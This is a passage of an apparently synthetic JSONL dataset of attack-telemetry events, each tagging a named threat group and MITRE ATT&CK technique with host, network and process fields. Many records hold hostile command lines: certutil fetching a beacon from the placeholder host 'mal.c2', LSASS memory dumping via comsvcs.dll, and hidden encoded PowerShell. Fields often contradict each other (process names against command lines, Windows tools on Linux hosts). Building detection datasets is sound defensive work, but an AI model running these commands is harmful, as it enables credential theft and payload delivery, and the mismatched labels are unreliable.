(DS0024)","timestamp":"2025-10-09T00:09:48.000Z","user":{"name":"i-7g65rswpi87s","sid":"S-1-5-21-593147249-139609999-1868"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Collection","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250209T065416000Z_0008943","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.80.108.202","name":"DB-ORACLE-85SV6U2G9P","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8943UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.161.151.9","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2425 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-02-02T08:11:24.000Z","user":{"name":"svc_cr3p74nuztts","sid":"S-1-5-21-759493698-104345964-2729"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Defense Evasion","Reconnaissance"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20260301T133051000Z_0008945","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.115.25.89","name":"AZURE-VM-D9ADJANOHH","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8945FIN7T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.157.147.218","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-09-09T02:05:50.000Z","user":{"name":"i-iljqk2qhe0vd","sid":"S-1-5-21-179634252-819698829-3710"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260110T230947000Z_0008947","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.0.100.44","name":"WIN-FIN-SRV-7L2MRG35FD","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8947Scattered SpiderT1570"},"network":{"domain":"github.com","dst_ip":"1.89.254.35","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-06-27T09:23:14.000Z","user":{"name":"azuread\\9m1mdoyq4y76","sid":"S-1-5-21-657708847-826260488-1886"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Defense Evasion"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20250821T151423000Z_0008949","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.86.4.161","name":"DB-ORACLE-UNR8J2F829","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8949Mustang PandaT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.126.175.199","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-05-01T03:35:31.000Z","user":{"name":"i-ba9svxvs45zy","sid":"S-1-5-21-196750545-404720897-2008"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Command and Control"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20250418T171523000Z_0008951","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.230.221.147","name":"AZURE-VM-X7UIARF16X","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8951Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.34.96.50","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1439 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-02-09T13:35:57.000Z","user":{"name":"arn:aws:iam::z9hcyrscz2qa","sid":"S-1-5-21-541748508-606119050-7531"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Impact"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260514T161242000Z_0008953","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.70.65.37","name":"AZURE-VM-U2877I0PE2","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8953Lapsus$T1531"},"network":{"domain":"github.com","dst_ip":"1.139.155.243","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2496 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-07-01T03:07:08.000Z","user":{"name":"i-7z57zap8pyzm","sid":"S-1-5-21-142039315-714305796-1104"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Initial Access","Collection"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20260827T193928000Z_0008955","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.128.254.71","name":"IAM-ROLE-LHF9B8T7N9","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8955Volt TyphoonT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.25.24.139","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-20T23:40:47.000Z","user":{"name":"i-vsxwrh8xobv4","sid":"S-1-5-21-151880280-124547493-3061"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Privilege Escalation","Collection","Lateral Movement"],"technique_id":"T1071.001"},"event_id":"evt_scatteredspider_20261112T135709000Z_0008957","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.39.184.162","name":"EC2-INST-99EXMEJXS7","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8957Scattered SpiderT1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.113.41.243","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-08-06T15:42:32.000Z","user":{"name":"svc_y24bn4igjc3h","sid":"S-1-5-21-482800821-214729218-3826"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Collection","Persistence","Execution"],"technique_id":"T1059.001"},"event_id":"evt_apt29_20261015T150757000Z_0008959","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.21.50.202","name":"WIN-FIN-SRV-V6AT8WCG7J","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8959APT29T1059.001"},"network":{"domain":"github.com","dst_ip":"1.114.107.236","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-03-11T01:12:38.000Z","user":{"name":"i-rku4tlw5z9nw","sid":"S-1-5-21-810555391-957788332-7345"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Reconnaissance","Command and Control","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250914T191845000Z_0008961","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.204.227.83","name":"AZURE-VM-R86OLMUNG3","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8961Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.172.192.93","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-12-27T00:23:28.000Z","user":{"name":"svc_hxgasbzfmk7g","sid":"S-1-5-21-489632839-686269214-3008"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Exfiltration","Discovery","Command and Control"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250311T032641000Z_0008963","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.42.161.192","name":"DB-ORACLE-OHP5VWGWZ6","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8963UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.87.190.45","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-14T22:51:21.000Z","user":{"name":"svc_tcajzudbfkjt","sid":"S-1-5-21-191233361-485148261-9282"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Collection","Command and Control","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_mustangpanda_20260609T075015000Z_0008965","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.46.15.64","name":"IAM-ROLE-WNKA6GD89B","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8965Mustang PandaT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.65.229.72","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1624 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-05-16T02:23:44.000Z","user":{"name":"svc_t2eee6r5djqv","sid":"S-1-5-21-630701233-190433623-8651"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Credential Access","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260622T010648000Z_0008967","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.135.90.114","name":"IAM-ROLE-V150DL88G2","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8967APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.119.252.45","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3245 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-07-05T14:54:23.000Z","user":{"name":"CORP\\m2y7v969karp","sid":"S-1-5-21-147246002-809400423-7435"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Privilege Escalation","Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20250412T223535000Z_0008969","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.144.246.42","name":"WIN-FIN-SRV-6XJZDAURDV","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8969APT41T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.31.56.59","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-23T16:32:26.000Z","user":{"name":"azuread\\ak18ltvn0sl0","sid":"S-1-5-21-581712958-633383559-9353"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery","Reconnaissance","Persistence"],"technique_id":"T1531"},"event_id":"evt_lapsus_20261224T043142000Z_0008971","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.186.88.200","name":"AZURE-VM-FVXQKRAKWZ","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8971Lapsus$T1531"},"network":{"domain":"github.com","dst_ip":"1.118.119.103","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-08-06T19:38:52.000Z","user":{"name":"CORP\\vz4i82ynco6n","sid":"S-1-5-21-425805171-676065978-9802"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Discovery","Privilege Escalation"],"technique_id":"T1021.006"},"event_id":"evt_mustangpanda_20250302T120753000Z_0008973","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.188.140.134","name":"WIN-FIN-SRV-0RIZN9B7PX","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8973Mustang PandaT1021.006"},"network":{"domain":"github.com","dst_ip":"1.148.3.14","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-05-29T08:46:22.000Z","user":{"name":"azuread\\eo1y1dl6o2ly","sid":"S-1-5-21-479380619-362193720-9955"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Initial Access"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250323T101259000Z_0008975","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.171.24.159","name":"DB-ORACLE-QBWZEGBJ27","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8975UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.182.34.203","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-06T12:45:40.000Z","user":{"name":"CORP\\dkr090labskd","sid":"S-1-5-21-424896490-525008660-9148"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Collection","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250422T082435000Z_0008977","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.19.16.194","name":"IAM-ROLE-HGV9I5J8ZM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8977Scattered SpiderT1566.001"},"network":{"domain":"github.com","dst_ip":"1.126.227.42","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-30T12:55:52.000Z","user":{"name":"azuread\\vcovgfpp7qd4","sid":"S-1-5-21-296930702-369381414-5457"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Persistence"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260803T135245000Z_0008979","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.62.168.93","name":"DB-ORACLE-SM5H26VRYJ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8979Volt TyphoonT1021.006"},"network":{"domain":"github.com","dst_ip":"1.58.173.154","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-29T17:45:40.000Z","user":{"name":"CORP\\zipjppades8d","sid":"S-1-5-21-401808417-644500565-7777"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Lateral Movement"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20260505T050620000Z_0008981","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.139.20.82","name":"IAM-ROLE-7FKU8I6LVU","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8981Scattered SpiderT1098.004"},"network":{"domain":"github.com","dst_ip":"1.156.136.118","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-01T15:38:22.000Z","user":{"name":"arn:aws:iam::w2ighubkzd76","sid":"S-1-5-21-177301614-115928471-2793"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using LOLBin technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20261224T072248000Z_0008983","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.35.32.40","name":"AZURE-VM-80R9BH4FJL","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8983APT41T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.54.194.15","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2809 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-22T03:45:46.000Z","user":{"name":"svc_726zoljepafx","sid":"S-1-5-21-785685065-278204178-9040"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution"],"technique_id":"T1098.004"},"event_id":"evt_fin7_20250129T003757000Z_0008985","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.182.202.16","name":"AZURE-VM-DDKQTIOISI","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8985FIN7T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.92.6.45","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-08T22:17:41.000Z","user":{"name":"azuread\\raj1rdu63htz","sid":"S-1-5-21-343332367-568036203-9487"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance","Defense Evasion","Execution"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20250825T050133000Z_0008987","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.218.164.182","name":"AZURE-VM-QJD70OD0LW","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8987Lapsus$T1098.004"},"network":{"domain":"github.com","dst_ip":"1.165.184.193","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1984 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-20T04:55:58.000Z","user":{"name":"arn:aws:iam::7f7hek9x154f","sid":"S-1-5-21-150892150-794375161-4636"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Reconnaissance"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20261208T031559000Z_0008989","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.89.142.245","name":"WIN-FIN-SRV-8KNOZNRFV4","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"8989Volt TyphoonT1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.113.27.177","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin 